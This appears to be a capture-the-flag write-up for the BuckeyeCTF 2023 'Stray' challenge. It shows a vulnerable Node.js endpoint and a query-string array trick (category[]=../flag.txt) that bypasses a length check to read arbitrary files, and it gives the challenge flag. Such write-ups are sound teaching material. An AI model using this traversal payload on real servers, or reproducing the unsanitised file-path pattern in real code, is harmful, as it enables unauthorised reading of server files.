Published on

BuckeyeCTF 2023 – Stray

Authors
  • avatar
    Name
    Lumy
    Twitter

Stray

Stuck on what to name your stray cat?

Table of Contents

  1. Source code
  2. Solution

Source code

The description gives us a zip file containg the source of the challenge : Stray

Solution

Here is the vulnerable part of the code :

app.get("/cat", (req, res) => {
  let { category } = req.query;

  console.log(category);

  if (category.length == 1) {
    const filepath = path.resolve("./names/" + category);
    const lines = fs.readFileSync(filepath, "utf-8").split("\n");
    const name = lines[Math.floor(Math.random() * lines.length)];

    res.status(200);
    res.send({ name });
    return;
  }

  res.status(500);
  res.send({ error: "Unable to generate cat name" });
});

The intended way to use this endpoint is to add to the get query a category parameter with either m or f value (male or female). This request https://stray.chall.pwnoh.io/cat?category=m will result in an output like this for a male name request :

{"name":"Simba"}

We need to bypass the category.length == 1 condition, and we could thus exploit an LFI as the input is not filtered and the function uses the fs.readFileSync that will permit to read arbitrary files on the server.

The first idea I had was to use a HTTP parameter pollution using this payload in the GET request : https://stray.chall.pwnoh.io/cat?category=../flag.txt&category=a

On server side, here is the retrieved query : ['../flag.txt', a] resulting in a total length of 2 and not 1...

The solution is to convert the input directly to a list as follow : https://stray.chall.pwnoh.io/cat?category[]=../flag.txt

This will result on server side to ['../flag.txt'] and that is 1 in length as it is a list.

The corresponding output is :

{"name":"bctf{j4v45cr1p7_15_4_6r347_l4n6u463}"}

Flag : : bctf{j4v45cr1p7_15_4_6r347_l4n6u463}